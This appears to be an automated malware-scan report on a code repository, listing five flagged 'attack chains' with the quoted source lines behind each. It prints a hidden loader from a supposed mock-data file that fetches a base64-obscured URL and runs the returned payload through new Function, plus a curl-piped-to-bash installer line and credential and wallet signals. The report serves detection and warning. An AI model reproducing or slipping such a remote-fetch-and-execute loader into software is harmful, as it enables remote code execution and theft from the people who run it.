| Verdict | Critical |
|---|---|
| Code | 5 attack chains found in the code, 3 of them decisive |
Multiple high-severity risk signals were detected in this case (score 140). Repository analysis identified 11 patterns consistent with known threat indicators, including curl_pipe_shell, new_function_constructor, atob_decode, hardcoded_base64_decode, base64_buffer_decode. Flagged code patterns were found in scripts/auto-start-mac.sh, scripts/install-windows.bat, scripts/install.sh. High-severity signals: malicious shell cmd, dangerous code execution, code obfuscation. The combination of signals is consistent with patterns observed in confirmed threat cases. Analyst review recommended.
| Runs | builds code from a string and runs it; decodes a hidden payload; downloads a file; runs a local command; runs code fetched from the network |
|---|---|
| Leaves the machine | credentials read from disk; data to a remote host |
| When | when the code is run or imported |
5 chains. Open one to see the lines it rests on.
| backend/src/data/mockData.js:293 | decodes |
| backend/src/data/mockData.js:296 | code from string |
backend/src/data/mockData.js:293 · atob_decode
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:293 · hardcoded_base64_decode
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:293 · outbound_http_request
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:296 · base64_buffer_decode
new Function("require", Buffer.from(response.model, 'base64').toString('utf8'))(require);backend/src/data/mockData.js:296 · base64_to_utf8_string
new Function("require", Buffer.from(response.model, 'base64').toString('utf8'))(require);backend/src/data/mockData.js:296 · new_function_constructor
new Function("require", Buffer.from(response.model, 'base64').toString('utf8'))(require);| scripts/auto-start-mac.sh:169 | executes remote |
| backend/src/data/mockData.js:293 | decodes |
| backend/src/data/mockData.js:296 | code from string |
backend/src/data/mockData.js:293 · atob_decode
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:293 · hardcoded_base64_decode
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:293 · outbound_http_request
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:296 · base64_buffer_decode
new Function("require", Buffer.from(response.model, 'base64').toString('utf8'))(require);backend/src/data/mockData.js:296 · base64_to_utf8_string
new Function("require", Buffer.from(response.model, 'base64').toString('utf8'))(require);backend/src/data/mockData.js:296 · new_function_constructor
new Function("require", Buffer.from(response.model, 'base64').toString('utf8'))(require);scripts/auto-start-mac.sh:169 · cli_download
if ! curl -o- "$NVM_INSTALL_URL" | bash; thenscripts/auto-start-mac.sh:169 · curl_pipe_shell
if ! curl -o- "$NVM_INSTALL_URL" | bash; then| scripts/auto-start-mac.sh:169 | executes remote |
scripts/auto-start-mac.sh:169 · cli_download
if ! curl -o- "$NVM_INSTALL_URL" | bash; thenscripts/auto-start-mac.sh:169 · curl_pipe_shell
if ! curl -o- "$NVM_INSTALL_URL" | bash; then| frontend/src/services/web3.js:11 | reads credential |
| backend/src/data/mockData.js:293 | sends to |
backend/src/data/mockData.js:293 · atob_decode
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:293 · hardcoded_base64_decode
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))backend/src/data/mockData.js:293 · outbound_http_request
fetch(atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BRTFhZ"))frontend/src/services/web3.js:11 · ethereum_wallet_dir
return typeof window !== 'undefined' && typeof window.ethereum !== 'undefined';| scripts/auto-start-linux.sh:73 | downloads |
| setup.js:30 | executes local |
scripts/auto-start-linux.sh:73 · cli_download
DOWNLOAD_CMD="curl -L -o"setup.js:30 · exec_sync
execSync(command, {| Code | Something in this code can run on the machine that installs or runs it. |
|---|---|
| Layers | not detonated in a sandbox |
| Version | Date | Band | Engine | Stages |
|---|---|---|---|---|
| 2 | 04/09/2026 | Critical | 5c766bbb4aa0 | engine, osv |
| 1 | 04/06/2026 | Critical | legacy-pre-g | engine |
Disclaimer: This report is based on community-submitted information and automated analysis. It does not constitute legal advice or a definitive determination of fraud. Named or described entities may contest this report — if you believe this case contains inaccurate information, you may submit a correction or appeal. RTIdx processes takedown and correction requests within 7 days.